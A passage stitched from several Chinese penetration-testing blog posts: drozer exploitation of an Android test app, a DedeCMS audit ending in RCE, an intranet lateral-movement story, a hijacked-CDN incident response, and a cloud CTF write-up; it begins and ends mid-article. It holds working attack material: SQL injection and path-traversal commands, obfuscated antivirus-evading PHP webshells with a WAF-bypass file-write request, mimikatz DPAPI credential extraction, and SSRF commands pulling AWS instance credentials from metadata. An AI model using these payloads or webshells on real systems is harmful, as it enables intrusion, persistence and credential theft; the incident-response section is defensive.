Receiver Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。 1、伪造恶意广播漏洞 Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。 1)漏洞代码 该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。 2)漏洞利用 利用drozer伪造恶意广播并触发该接收器 run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test" 通过界面可以查看到对应的广播信息 四、Content Provider Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。 1、信息泄露漏洞 Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。 1)漏洞代码: 通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。 2)漏洞利用 利用drozer命令可以查看该APP的provider的信息 run app.provider.info -a com.asec.alan 利用app.provider.finduri可以查看所有的uri run app.provider.finduri com.asec.alan 通过drozer查询content://com.asec.alan.provider/该uri的数据 run app.provider.query content://com.asec.alan.provider/ 2、SQL 注入漏洞 Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。 1)漏洞代码 通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。 2)漏洞利用 利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入 run scanner.provider.injection -a com.asec.alan 基于sql注入漏洞的测试和利用,通过order by进行显示位的判断 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4" 并进行username和password数据的查询。 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--" 3、目录遍历漏洞 Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。 1)漏洞代码 代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。 2)漏洞利用 利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri run scanner.provider.traversal -a com.asec.alan 并成功查询/system/etc/hosts文件内容 run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts 本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。 APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk 提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言 书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS 官方网站 https://www.dedecms.com/ 最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路 环境搭建 去官网下载源码,然后配合 phpstudy 搭建就 ok 了 这个比较简单,注意根目录需要放 upload 目录 注意默认的管理员目录是 dede,访问/dede/login.php 默认账户密码adminadmin 代码审计 这里我只找 RCE 漏洞 首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞 sink 点的话可以使用一个工具 Seay 源代码审计系统 https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术 我们直接把源码丢进去就可以了 可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的 然后这里我只关注能够 RCE 的漏洞 找到之后没有什么技巧,就是回头看参数是否可以控制 下面举个例子 案例 1 比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下 <?php /*<meta name="9Rrdzo" content="a">*/ $password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0 $username = get_meta_tags(__FILE__)[$_GET['token']]; header("ddddddd:".$username); $arr = apache_response_headers(); $template_source=''; foreach ($arr as $k => $v) {    if ($k[0] == 'd' && $k[5] == 'd') {        $template_source = str_replace($v,'',$password);   }} $template_source = base64_decode($template_source); $template_source = base64_decode($template_source); $key = 'template_source'; $aes_decode[1]=$key; @eval($aes_decode[1]); $NkM1M7 = ".............."; if( count($_REQUEST) || file_get_contents("php://input") ){ }else{    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);    echo base64_decode/**/($NkM1M7); } 我们可以看到这个参数其实是不能控制的 `aes_decode[1]就是 $key,等价于$template_source $template_source = str_replace($v, '', $password); 来源于$password 而其中 password 是固定的,所以不可以控制 案例 2 function DeleteFile($filename)   {        $filename = $this->baseDir.$this->activeDir."/$filename";        if(is_file($filename))       {            @unlink($filename); $t="文件";       }        else       {            $t = "目录";            if($this->allowDeleteDir==1)           {                $this->RmDirFiles($filename);           } else           {                // 完善用户体验,by:sumic                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);                exit;           }                   }        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);        return 0;   } } 是一个方法,这种需要寻找调用这个方法的地方 else if($fmdo=="del") {    $fmm->DeleteFile($filename); } 这种是一个典型的控制器,根据 fmdo 来选择对应的操作 不过根据所在的文件的注释 /** * 文件管理控制 * * @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $ * @package       DedeCMS.Administrator * @founder       IT柏拉图, https://weibo.com/itprato * @author         DedeCMS团队 * @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.) * @license       http://help.dedecms.com/usersguide/license.html * @link           http://www.dedecms.com */ 这里就能大概猜到了 是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越 不过这里是做了限制的 $filename = preg_replace("#([.]+[/]+)*#", "", $filename); 移除 ../ 形式的路径穿越字符 而且下面还会直接移除.. 所以考虑放弃 案例 3 定位到 sys_sql_query.php 文件了 发现可以执行 sql if(preg_match("#^select #i", $sqlquery))   {        $dsql->SetQuery($sqlquery);        $dsql->Execute();        if($dsql->GetTotalRow()<=0)       {            echo "运行SQL:{$sqlquery},无返回记录!";       }        else       {            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";       }        $j = 0;        while($row = $dsql->GetArray())       {            $j++;            if($j > 100)           {                break;           }            echo "<hr size=1 width='100%'/>";            echo "记录:$j";            echo "<hr size=1 width='100%'/>";            foreach($row as $k=>$v)           {                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";           }       }        exit();   }    if($querytype==2)   {        //普通的SQL语句        $sqlquery = str_replace("\r","",$sqlquery);        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);        $nerrCode = ""; $i=0;        foreach($sqls as $q)       {            $q = trim($q);            if($q=="")           {                continue;           }            $dsql->ExecuteNoneQuery($q);            $errCode = trim($dsql->GetError());            if($errCode=="")           {                $i++;           }            else           {                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";           }       }        echo "成功执行{$i}个SQL语句!<br><br>";        echo $nerrCode;   }    else   {        $dsql->ExecuteNoneQuery($sqlquery);        $nerrCode = trim($dsql->GetError());        echo "成功执行1个SQL语句!<br><br>";        echo $nerrCode;   }    exit(); } 而且 sql 语句是可以控制的 跟进执行的地方发现 function Execute($id="me", $sql='') {      global $dsqli; if(!$dsqli->isInit) { $this->Init($this->pconnect); }      if($dsqli->isClose)     {          $this->Open(FALSE);          $dsqli->isClose = FALSE;     }      if(!empty($sql))     {          $this->SetQuery($sql);     }      //SQL语句安全检查      if($this->safeCheck)     {          CheckSql($this->queryString);     }      $t1 = ExecTime();      //var_dump($this->queryString);      $this->result[$id] = mysqli_query($this->linkID, $this->queryString); //var_dump(mysql_error());      //查询性能测试      if($this->recordLog) { $queryTime = ExecTime() - $t1;          $this->RecordLog($queryTime);          //echo $this->queryString."--{$queryTime}<hr />\r\n";     }      if($this->result[$id]===FALSE)     {          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");     } } 是有一个 checksql 的检查的 //SQL语句过滤程序,由80sec提供,这里作了适当的修改 if (!function_exists('CheckSql')) {    function CheckSql($db_string,$querytype='select')   {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')       {            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";            //$notallow2 = "--|/\*";            if(preg_match("/".$notallow1."/i", $db_string))           {                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");           }       }        //完整的SQL检查        while (TRUE)       {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)           {                break;           }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)           {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)               {                    break;               }                elseif ($pos2 == FALSE || $pos2 > $pos1)               {                    $pos = $pos1;                    break;               }                $pos = $pos2 + 1;           }            $clean .= '$s#39;;            $old_pos = $pos + 1;       }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE        OR strpos($clean,'$s$s#39;)!== FALSE)       {            $fail = TRUE;            if(preg_match("#^create table#i",$clean)) $fail = FALSE;            $error="unusual character";       }        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="union detect";       }        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)       {            $fail = TRUE;            $error="comment detect";       }        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)       {            $fail = TRUE;            $error="sub select detect";       }        if (!empty($fail))       {            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");       }        else       {            return $db_string;       }   } } 案例 4 基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法 我们来到对应的路由去查看 果然找到了 //文件编辑 /*--------------- function __saveEdit(); ----------------*/ else if($fmdo=="edit") {    csrf_check();    $filename = str_replace("..", "", $filename);    $file = "$cfg_basedir$activepath/$filename";    $str = stripslashes($str);    $fp = fopen($file, "w");    fputs($fp, $str);    fclose($fp);    if ($fp === false) {        ShowMsg("保存失败!请检查文件是否可写", -1);        exit();   }    if(empty($backurl))   {        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");   }    else   {        ShowMsg("成功保存文件!",$backurl);   }    exit(); } 一样的方法 文件名是 filename,内容是 str 我们访问对应的路由 发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗 POST /dede/file_manage_control.php HTTP/1.1 Host: dedecms:5135 Content-Length: 130 Cache-Control: max-age=0 Origin: http://dedecms:5135 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath= Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa Connection: keep-alive fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++ 但是发现 所以准备调试分析一手 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) {    $value = str_replace(" ", "", $value);    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   }    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {        $str = dede_htmlspecialchars($str);        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");   } } 发现原因是因为有 waf 直接交给一个聪明朋友 移除多行注释 $str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); 防止攻击者把危险代码写在注释中来绕过检测。 危险函数与变量过滤 $cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...'; 匹配并拦截使用了以下内容的代码: 系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等 全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS 动态函数调用:call_user_func, create_function, 等 一旦匹配:直接终止执行并提示危险代码。 PHP 标签与代码执行行为检测 感觉过滤还是挺严格的 绕过 waf 到 RCE 直接掏出上次的 webshell,稍微修改一下就 ok 了 <?php class User {    private $username;    private $password;    public function __construct($username, $password) {        $this->username = $username;        $this->password = $password;   }    public function __debugInfo() {        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");        $xmlElement = new SimpleXMLElement($xmlData);        $namespaces = $xmlElement->getNamespaces(TRUE);        $xmlElement->rewind();        var_dump($xmlElement->key());        $result = $xmlElement->xpath('/books/system');        var_dump (($result[0]->__toString()));       ($xmlElement->key())($result[0]->__toString());        return [            'username' => $this->username,            'info' => '这是调试时返回的信息',            'timestamp' => time()       ];   } } $user = new User('alice', 'secret123'); var_dump($user); 原理上次大概讲过了,就是自动触发 详情可以看到蚁景网络安全这个公众号 https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台 然后我们访问首页 成功弹出计算器
记一次内网横向破解管理员密码
前言 本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。 外网打点 首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测 httpx 测活一下 测完活之后,搞波指纹 指纹到手,这边一般我都是拿高危指纹去漏扫一下 然后找到了一个站点 GETshell 之后找到了一个站点 直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波 发现竟然有 /api/actuator 泄露,这个利用的手法很多 先遍历访问一下常见的接口 但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到 决定溜了的时候发现 bp 我的 dns 平台传来了动静 竟然有 log4j 呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了 CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令 07/23 15:13:23 beacon> shell whoami 07/23 15:13:23 [*] Tasked beacon to run: whoami 07/23 15:13:23 [+] host called home, sent: 37 bytes 07/23 15:13:23 [+] received output: xxxxxx\administrator 内网启动 内网信息收集 首先简单看下内网的网段 找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了 随便 arp-a 看了一下 发现 c 段的主机还是很多的 systeminfo win2012 的用户,不过已经是高权限了,也没有必要提权了 然后我发现在域的时候我就先不管了,先找找凭据 凭据收集 这里没有抓取到密码 然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的 突破 当时因为还拿下了一台主机,而且是同一个内网的 查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制 MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙” 流程 [ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey       ↓ [ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据       ↓ [ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c} Time     : 2025/2/4 0:23:08 MasterKey : aed5fc1156359826c231e1079996c769cf1ee... sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7 Master Key Files 存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。 当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间 我这里去寻找一下 amdin 的凭证 直接拿最新的那个 然后去获取 guid 之后通过这个 guid,我们去寻找 masterkey 首先需要把全部的 masterkey 找出来 mimikatz sekurlsa::dpapi sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件 因为内容很多,直接把结果复制到记事本 然后搜索一下 太好了,找到了,然后我们直接去破解 mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 直接获取到了管理员的密码 而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码 远程其他网段的桌面 利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下: 在打开特定页面才会触发; 在特定页面也无法准确复现,尝试好一会才能复现两次; 前场同事使用的是iOS,然后其他人使用Android也可以复现; 我使用浏览器和微信浏览器打开,难以复现; 在对应服务器上未找到其音频文件; 目前使用特定运营商网络可以复现; 0x02分析 在获取目前这些信息后,有几个猜想思路: 在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放; 接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。 但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接: 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求: 果然。在burp里面发现了奇怪的mp4文件链接。 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。 那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。 0x03溯源 由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看: 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。 那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。 最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题: 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接: 访问jsjiami.com,尝试解密: 结果不可逆!!! 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊! 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。 0x04结尾 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景 经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行,没有权限,所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了,可以使用一些工具,比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2 我们首先获取 token,使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token,我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了,我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : 